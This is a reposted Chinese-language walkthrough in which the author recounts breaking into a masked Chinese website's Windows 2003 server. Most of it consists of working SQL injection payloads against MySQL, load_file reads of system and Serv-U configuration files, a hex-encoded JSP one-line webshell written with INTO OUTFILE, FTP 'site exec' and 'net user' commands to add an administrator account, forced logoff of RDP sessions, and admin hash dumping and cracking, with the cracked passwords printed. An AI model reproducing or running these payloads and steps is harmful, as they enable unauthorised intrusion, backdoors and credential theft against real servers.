注明:本文章从网上收集,原作者和出处不详。
一.起因
近来闲来无事,在网上乱逛,想一想也好长时间没在小组发文章了。那就来一个JSP的注射吧,也好回顾一下加深印象。
二.作战开始
目标:
http://www.xxx.cn/MainMessage.jsp?id=7676 直接加个单引号如图1
得出数据库为MYSQL数据库 继续提交 and 1=1 and 1=2 如图2,3
很明显的注射注射漏洞。MYSQL下的JSP和PHP注射的方法基本都是一样的,都是利用查询语句爆出管理员的用户和密码,如果是root还可以读取服务器上的任意文件,从而快速的达到目的。既然存在注射漏洞,那就看一下MYSQL的版本,如果大于4.0就可以用union联合查询,在URL后面加上and ord(mid(version(),1,1))>51 /*,返回如图4
页面返回正常。这就说明MYSQL的版本在4.0以上,因为数据库的第一个ASCII码大于51,也就是大于3,既然大于3就证明MYSQL的版本是4.0以上的了,这样我们就可以使用union联合查询了。现在我们就来判断一下字段数,使用order by 数字 /*来判断,再URL后面加上order by 10 /* 返回正常如图5
说明字段数目大于10个。继续提交order by 20 /* 返回错误如图6
说明字段数目小于20,那也就是在10和20之间。那提交order by 15 /*返回正常,继续提交order by 16 /*返回错误。15正常16错误那就说明字段数目为15个。确定了字段数目之后下一步就是union查询了,在URL后面提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* 这里没有显示出我们想要的页面,如图7
难道是字段数目不对??大家仔细看一下第一行里有个11的数字,难道这是字段数目的位置?我们试一下,把11的位置替换成database(),提交and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15/* 如图8
看到了吗?爆出了数据库名为bicpa。我们在11的位置换成user() 返回如图9
爆出了当前的用户为root。那我们确认一下,分别提交
and ord(mid(user(),1,1))=114/*
and ord(mid(user(),2,1))=111/*
and ord(mid(user(),3,1))=111/*
and ord(mid(user(),4,1))=116/*
都返回正常,这4个语句说明当前用户的权限是root,因为第一ASCII码114代表第一位字符为r,第二个ASCII码代表第二个字符为o,第三个也是o,第四个为t。我们再来进一步确认一下,在11的位置分别替换
system_user()
current_user()
都返root,那现在我们可以却定是root权限了。
三.四面楚歌
既然是root那我们就可以使用load_file()这个函数来读取服务器上的文件,还可以直接往服务器里插入我们的代码。现在的思路很明确第一个就是要找服务的web目录,然后直接写入一句话或者一个cmdshell。现在来判断一下是什么系统,直接连接终端(前提是要开启终端并且知道了终端端口)还可以使用load_file()读取c:\boot.ini。我们现在使用load_file()来读取一下c:\boot.ini ,提交and 1=2 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),12,13,14,15/*
(注:99,58,92,98,111,111,116,46,105,110,105 为 c:\boot.ini的ASCII码)
返回如图10
可以正常读取说明为windows 2003 系统。
那现在主要就是要找web目录然后使用 into outfile 插入一句话
我们先看看 Tomcat的配置文件 提交and 1=2 union select 1,2,3,4,5,6,7,8,9,10,load_file(cha(68,58,92,84,111,109,99,97,116,32,53,46,48,92,99,111,110,102,92,115,101,114,118,101,114,46,120,109,108)),12, 13,14,15/*
(注:68,58,92,84,111,109,99,97,116,32,53,46,48,92,99,111,110,102,92,115,101,114,118,101,114,46,120,109, 108 为D:\Tomcat 5.0\conf\server.xml的ACSII码)
如图11
可以正常读取,继续提交
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(68,58,92,84,111,109,99,97,116,32,53,46,48,92,119,101,98,97,112,112,115,92,114,111,111,116,92,119,101,98, 45,105,110,102,92,115,116,114,117,116,115,45,99,111,110,102,105,103,46,120,109,108)),12,13,14,15/*
(注:68,58,92,84,111,109,99,97,116,32,53,46,48,92,119,101,98,97,112,112,115,92,114,111,111,116,92,119,101,98,45, 105,110,102,92,115,116,114,117,116,115,45,99,111,110,102,105,103,46,120,109,108
为D:\Tomcat 5.0\webapps\root\web-inf\struts-config.xml的ACSII码)
但是这里很遗憾并没有读取出来,如图12
现在web的目录爆不出来就没办法往web写入一句话了,真是郁闷。抽支烟静静的想了一下,记得wwwscan可以扫倒很多敏感的目录,既然有了思路就要试一下了
使用wwwscan扫站点 命令为 vwwwscan.exe 站点域名或IP -m 300 -t 30
扫描结果如图13
当我访问com3的时候爆出了web路径,如图14
注意看D:\china\com3 (系统找不倒指定文件。)说明什么相信大家都明白了,D:\china\就是web的路径,现在写入一句话的条件已经具备了,我们要做的就是把我们的一句话木马写进去
提交and 1=2 union select 1,2,3,4,5,6,7,8,9,10,0x3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29 286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745 265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E77726974 6528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E into outfile ’D:\china\jsp.jsp’,12,13,14,15/*
(注:0x3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A617 6612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C50617468 28225C5C22292B726571756573742E676574506172616D65746572282266222929292E77726974652872657175657 3742E676574506172616D6574657228227422292E67657442797465732829293B253E
为
的十六进制
如图15
没有成功,难道根目录不可写,那我们换一个目录,我们在根目录加上admin 返回如图16
admin目录存在,那我们把一句话写到 admin目录 试下 提交
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,0x3C25696628726571756573742E676574506172616D657465722822662229213D6E756C 6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2 E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D6574657228226622292 9292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829 293B253E into outfile ’D:\china\admin\jsp.jsp’,12,13,14,15/*
如图17
还是不成功,把路径换成16进制还是一样,郁闷又踢到个绊脚石。
现在想一想 如果利用load_file()来读取敏感的信息,麻烦先不说还是个很头疼的事情。暂时先不考虑留着最后一招。
现在只能对站点进行全方位扫描 看看有没有什么可以利用的。
于是马上开启hscan进行扫描。看了一会电视 回头hscan扫描结果如图18
现在我们来整理一下我们的思路 第一.21端口 Serv-U 我们可以读取他的配置文件 然后本地进行破解
第二.通过相应的端口进行溢出 第三.读取sam 或者PCAnyWhere cif文件的十六进制然后然后在本地还原进行破解,这里可以参考sai52的的文章
是个很不错的思路
http://forum.bhst.org/bbs/viewthread.php?tid=80&extra=page%3D1 或者
http://www.sai52.com/archives/616/ 那先来看看Serv-U的配置文件 看一下 Serv-U配置文件的默认目录是
C:\Program Files\Serv-U\ServUDaemon.ini
我们提交
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,load_file(char(67,58,92,80,114,111,103,114,97,109,32,70,105,108,101,115,92,83,101,114,118,45,85,92,83,101,114,118,85,68,97, 101,109,111,110,46,105,110,105)),12,13,14,15/*
以上ASCII码为C:\Program Files\Serv-U\ServUDaemon.ini
成功读取如图19
看来小菜我的人品还不是那坏啊 呵呵
读出来了就开始纯数字密码破解看看可以破解出来不,老天保佑
我们选着haigui这个用户 密码为saCD6CAFCDA8DA666432F2F7530C7B1533
目录为web根目录D:\china
权限为system
一会的功夫就破解出来了 如图20
呵呵 再次证明小菜我的人品不差哦
密码为581127
那还等什么 直接加加个用户登陆3389
进去FTP 执行 quote site exec "net user fengzi !@#$%qwert12345 /add"
可是上天又跟我开了个玩笑 没有执行成功 如图21
郁闷 刚说完 人品不错 现在就反过来了 既然执行不成功也没办法
失败的原因无非也就这几点:第一.破解的用户为system 说明用户的权限没有问题,那就是Serv-U不是已经system权限启动的 2.net 和net1 做了限制或者删除
如果不是这两点 那小菜我真不知道是怎么回事了。
既然问题出了 就该找解决问题的办法,如果是第一条那Serv-U提权这条路就算是放弃了。现在我们要验证第二条。
四.终结服务器
现在我们的思路是要得到一个shell,jsp的权限可是很大的哦,既然有了FTP的账号和密码那我们直接登陆传个jsp马,使用FlashFXP登陆传jsp马成功成功如图22
最后访问我们的马成功得到webshell。如图23
我们来执行加用户的命令来验证一下上边的疑问,如果真是net和net1做了限制我们还可以使用vbs加用户,或者镜像劫持任务管理器来运行计算机管理的应用程序手动添加用户。我们先来加个用户看看 执行 net user fengzi 654321 /add和net localgroup administrators fengzi /add 如图24
成功添加用户,看来不是net net1做了限制,那上边可以确定是Serv-U不是已system权限启动的
现在来查一下有没有成功添加 执行 net user fengzi 如图25
已经管理员组了,3389已经开启 我们直接登陆 如图26
终端超出最大的允许连接
这个好办 直接query user
然后logoff 在线登陆的IP 最后成功登陆 如图27
或者直接在控制台登陆 mstsc /console /v:IP:端口
既然来了我们就抓取管理员的HASH 进行破解
windows 2000直接mt -findpass
windows 2003的使用SAMInside 就可以了
抓取的HASH如图28
30分钟后破解出明文如图29(由于连接的是国外的***所以速度慢)
用户:administrator 密码为 haigui
最后使用管理员ID 成功登陆如图30
另外一个haigui的用户密码没有破解出来。记得他的FTP用户就是haigui 密码 581127
试着用581127登陆没有成功。
后来我查看了一下数据库的连接文件,如图31
root密码为 dxj581127 最后使用dxj581127成功登陆,如图32
由于服务器是处在公网,虽然开启了DNS但是没有其他域和共享机,所以整个渗透过程只能到此结束了。
五.总结
花了大半天的时间渗透,从一个注射点到服务器的权限,再到管理员的密码。途中经历了很多次失败,最后还是成功了。渗透本来体验的就是过程,有一 个好的过程结果也就无所谓了。本文没有什么技术含量都是一些常用的入侵手段,如果本文有什么错误的地方还请大家多多包含。另外提醒大家最好手工进行注射,本文中在load_file()的时候用穿山甲只能读取出c:\boot.ini
其他的都读不到,手工却可以,所以大家不要太相信工具。